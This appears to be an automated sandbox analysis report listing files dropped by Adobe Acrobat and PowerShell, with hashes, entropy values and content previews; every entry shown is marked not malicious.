Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.269053982554646
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVYcgx+FIbRI6XVW7+0YkoAvJfbPtdPeUkwRe9:YvXKXsUYpW7yGDV8Ukee9
MD5:	C03A6F1AA63C2889DAC8874268BADDEE
SHA1:	07D50D178C22FEEEA9CA7573FB57E4429FBAE387
SHA-256:	7F7279EA8AA992AD0BD15A49990DE4217934DBBA1E17628538998F355A4CA826
SHA-512:	ACB777613AF870C8E5A35B1E5540ACF105DF2B6BE2FEEA66719EE994F3E7ED43F47636895B7FD39F7DD6D9CD80B20737A363CD0A1881B70A119D9BA28954E302
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd685ba1-d066-4165-bb2a-2900f6491fb6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707337045,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.270525207202194
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVYcgx+FIbRI6XVW7+0YkoAvJf21rPeUkwRe9:YvXKXsUYpW7yG+16Ukee9
MD5:	5E3ADC7099B407220BAE8DE8AE128FA8
SHA1:	D929A52DD09A3ADF694FB44688464CF90F18C2D7
SHA-256:	93014F619E41A9545A565B8D4DB2511E4061D1C3F4DDC609FB07B262824CAD42
SHA-512:	9D825108B54196FF37C9B3450D4CB06C9977840A03C63D5851A85D83A1E2E05F3641900B8220F3D4B9D7D956E7B5171200D5C9A5849C9559BB0D4F01A51CB8BE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd685ba1-d066-4165-bb2a-2900f6491fb6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707337045,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.656979216651916
Encrypted:	false
SSDEEP:	24:Yv6XsFiXamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSur:YvwvBgkDMUJUAh8cvMur
MD5:	2D8B1D7D52E4D64859C93ECCC64903DD
SHA1:	27F28B1B817C468C0493D41B3924938C28243136
SHA-256:	1E842C2921C6BA46FC35137F040A40906F52B9396F792D51F5E0843B0FF511BD
SHA-512:	276331E5543F9F88F4422628889ABACEE520D0993DA602486205020C9A4E14838F04D87F203DD78A5B3047AC39EAD863CCF62EBE6D4B8C8765142E96EDAB23E3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd685ba1-d066-4165-bb2a-2900f6491fb6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707337045,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.244476664870151
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVYcgx+FIbRI6XVW7+0YkoAvJfshHHrPeUkwRe9:YvXKXsUYpW7yGUUUkee9
MD5:	3F0773CEA90355BC327803B753DB1EDE
SHA1:	7C617A010884D324F9988C739899A75D615C9A4A
SHA-256:	3C76F4A2B39E852F5148F29BCF0AC8FF43B49D4BC2C16752C53F5C37D4052BB4
SHA-512:	281008AC61DC5274B2573CBE3DD0DC03948B566D2EC9847BA77BCF1AABEA8680CF3F2EBD7DE82B04AB6002A01F80132242BA95A99D02556BAE2D0F53A45DBF2C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd685ba1-d066-4165-bb2a-2900f6491fb6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707337045,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.253487474072286
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVYcgx+FIbRI6XVW7+0YkoAvJTqgFCrPeUkwRe9:YvXKXsUYpW7yGTq16Ukee9
MD5:	F0BF353789305FD90E1B45786801E371
SHA1:	29D819810FFB44A19AD11AB8305C0CABF286DFEC
SHA-256:	5C179F6DC609D24F5F7DD2241E459421A65F68CE9B062D7975920777FF13F73C
SHA-512:	8190DD42DB837676F3EC15A9CDB51D5074A1664ED14B0C15D6422224B71369335573741B0771C7C4361DFACEB80F83336D1003DA7BAFF20B944AD024D5F1E902
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd685ba1-d066-4165-bb2a-2900f6491fb6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707337045,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.130238994174358
Encrypted:	false
SSDEEP:	24:YKfQaEwayXViqauEVR4tTvuz4Yjddj0ScS028uL2LSuCBavZcd3rEbX5tJ9huv0j:YDyIRNTCTeZfozAU/vZcqXJ9aw
MD5:	F0DC364F7CF6313978875143E25D1275
SHA1:	66899610BC5DACD3502A8398C870C4D50135042E
SHA-256:	BF3412E350DF7E5A18DB5B749959151C0C6EDB7FC0E0C6499810F8B045A6BF80
SHA-512:	CB60B351FB040B9548B1CD3EE8406F4D46A327DDB4FD8DD9DC4C8569082B3222C52C7A3232CA1F8C06C217A26924DB86E859C8A8284ED39100E173A473F75E1C
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"381d5c7ef120f8ee2dfdd9d82d445a42","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736530051000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"20827ef0ba3dffc672df1b399815beb9","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736530051000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"9fb2d13ddae845d0305589e0cd14158b","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736530051000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"0a14b04ebe559803d717c77c1cd25abe","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736530051000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"17f2b8ccaa6fc0e0982728a148af5abf","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736530051000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"bc2697dd7064e59a200d5975c73961bc","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9858687271439901
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Spcu4zJwtNBwtNbRZ6bRZ4nuF:TVl2GL7ms6ggOVp4zutYtp6P3
MD5:	2ADC7CBE75253C21BB62424E2E18D5E2
SHA1:	4455049D4A5B9B32E293F185CDF1CE4B4B9682BD
SHA-256:	0C8FF83E9667075ACAE7395F0656E76AF86D4110D0921F2A2D4B970A68FD7DDD
SHA-512:	B84FFE0F15B120790D1C9DDA79CAE1ED6C64BFA930BAAE122935F57AEEE41233737C024CD4BAAB81A75E34464230ED369EE872AEFD8CD4F8AF7A8A99E5002F6C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3388344188914483
Encrypted:	false
SSDEEP:	24:7+taAD1RZKHs/Ds/SpcuPzJwtNBwtNbRZ6bRZWf1RZKlWqLBx/XYKQvGJF7urs1:7MaGgOVpPzutYtp6PMpqll2GL7ms1
MD5:	ED86BEE309E7E8E92292C5BCCB88133A
SHA1:	958B71DEE3EFD15004C9B9C02E2816D56D38E033
SHA-256:	413D34C66D9149397CA216F098618300C4E707D0F62E28B7E411860A7A87BB9B
SHA-512:	0984CB28E2FD6CD459C957C78DDEF6EA4F4A936B82EB234DE8BC5BFC6F2CA100501FDF13379D24BAF61E6AC148DB0A302DB06CA0C33C0EA4611F6613E0D9B772
Malicious:	false
Preview:	.... .c.....;V.3......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgIxex2z344umtgZQZ+EW/jzRYyu:6a6TZ44ADEIxo2zInmKpvRK
MD5:	547FAABB6D22FEC4D73B2D0EE5D73A87
SHA1:	88B997856628FEA558432C089DF2E74B68646446
SHA-256:	0562EAC5BF323618CA5B545D9EA727A445AA0E4A6302CF2DC6688638D63CD1A7
SHA-512:	FCF2F497F5C62B812968E1CEBDD374D3C3FAB24C1BAC88A6BD8D4AA7B06FCBB917500002549F180DF972DB8F8CCBD2BD991F690AD5D18FF1413BFBA8B06FE712
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSIa9dff.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.493870954423123
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE3QcflH:Qw946cPbiOxDlbYnuRK+bD3QcflH
MD5:	50EDA617141C936F1C997823EFD8BBD6
SHA1:	0E51D9BD211D32960D19A0CDAFC0655495F6B81D
SHA-256:	FEC7A2E4BC76AE8669695066414FF9D087E10B7EE6756485F572361F8542DD67
SHA-512:	B1B715B2A821AEEB72877823E4EBD572DD4C5F811684EF31220AB4C2EF8BC68FCF533A1F5FAE843C8B3DFC846683D3C1D97D1EC7C7AEF6541FBB05A658E37C1F
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.2.:.2.7.:.3.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_crrhtown.0v0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xh3b3let.j1p.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 12-27-26-535.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15113
Entropy (8bit):	5.354233037388115
Encrypted:	false
SSDEEP:	384:kSkWtj8JhUoKPlb+Eean8GbaGhwluRhyMnZlPXHRpj8th32j7kdWFCFUp0yUxE8P:2L9
MD5:	F77BF05541FB430182BE1A5EEDE3938C
SHA1:	6D00E95AF50FAB4BB419C411D6C7155ECF9F97B3
SHA-256:	08459436D640811F18B8227432B7087270323EEE48AB279297DA6ADA8B51F0D8
SHA-512:	E186CE8B4EF8BF3D4F145759DF0B8CECE92CD1C1E5BDA32C37C7B4BB79EDE7949A1708206B956113F99FAE40C8568402D458FD05A478EE6B1907C23785B22450
Malicious:	false
Preview:	SessionID=58cb7958-cbc3-4189-bc3e-31e9a08bace2.1736530046554 Timestamp=2025-01-10T12:27:26:555-0500 ThreadID=7656 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=58cb7958-cbc3-4189-bc3e-31e9a08bace2.1736530046554 Timestamp=2025-01-10T12:27:26:558-0500 ThreadID=7656 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=58cb7958-cbc3-4189-bc3e-31e9a08bace2.1736530046554 Timestamp=2025-01-10T12:27:26:558-0500 ThreadID=7656 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=58cb7958-cbc3-4189-bc3e-31e9a08bace2.1736530046554 Timestamp=2025-01-10T12:27:26:559-0500 ThreadID=7656 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=58cb7958-cbc3-4189-bc3e-31e9a08bace2.1736530046554 Timestamp=2025-01-10T12:27:26:559-0500 ThreadID=7656 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.398368033646281
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbm:FI
MD5:	94502370BFC641F3F9E66D7E7B4B4A58
SHA1:	1FD9F1C7EC8F47BAA6448C76C17BA0201CC3AC11
SHA-256:	943477EC38C2EE2F6C614B13361D4C480DA5600E704F452890949880D7E27D7B
SHA-512:	AE97BD38604A1EEA5C4A79003D18A803BBC16CDAF32F4E25702B3EA765341CF60C4C7FA9465EDBEF9C921986DE23935CC053B0CAEB94BB9B5F63BF167FDF9229
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\2e236fba-43eb-4304-83c8-17f296cc86e1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\3fb65268-2864-4e5c-9da5-7c1fcae77577.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\4c1174e2-712c-4596-9311-7faeb1156d2d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
